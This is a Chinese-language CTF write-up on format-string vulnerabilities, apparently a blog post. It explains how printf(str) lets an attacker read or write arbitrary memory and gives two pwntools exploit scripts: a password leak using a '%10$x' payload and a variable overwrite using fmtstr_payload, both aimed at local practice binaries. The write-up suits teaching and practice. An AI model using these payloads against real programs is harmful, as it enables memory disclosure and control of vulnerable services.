zoukankan      html  css  js  c++  java
  • pwn-格式化字符串漏洞

    原理:因为没有正确使用printf()函数

    正确使用 : printf('%s',str)

    不正规使用:printf(str)

    控制字符串str可以爆出stack内内容从而实现任意地址读或者任意地址写

    ---------------------------入门题01--------------------------------------

    18行存在格式化字符串漏洞

    只需输入在hello之后输入password所在地址,接收password值再传入进行比较即可

    exp:

    from pwn import *
    
    r = remote("127.0.0.1",4000)
    
    from pwn import *

    r = remote("127.0.0.1",4000)

    pass_addr = 0x804A048
    r.recvuntil('?')
    r.sendline(p32(pass_addr)+'#' +'%10$x'+'#' )
    r.recvuntil('#')

    key =  str(u32(r.recvuntil('#')[:4]))

    r.recvuntil(':')
    r.sendline(key)

    r.interactive()

    ---------------------------入门题02--------------------------------------

    使用pwntools提供的fmtstr_payload(offset, {addr: value })函数实现地址写入

    首先输入一个字符串与n个%x找到字符串被爆出的位置

    再使用fmtstr_payload写入x变量即可

    exp:

    from pwn import *
    
    r=remote('127.0.0.1',4000)
    x_addr = 0x804A02C
    r.sendline(fmtstr_payload(7, {x_addr:0x14368792 }))
    r.interactive()

  • 相关阅读:
    loj6158 A+B Problem (扩展KMP)
    2017CodeM初赛B场
    Codeforces Round #421(div 2)
    CF821E(多次矩阵快速幂)
    Codechef-ANCESTOR(树套树/CDQ分治)
    Codechef-BLACKCOM(树形背包dp)
    Codechef-CHEFPRAD(找事件点+贪心)
    洛谷 p3391
    luogu p3369
    LOJ10082
  • 原文地址:https://www.cnblogs.com/Aiden-/p/9638031.html
Copyright © 2011-2022 走看看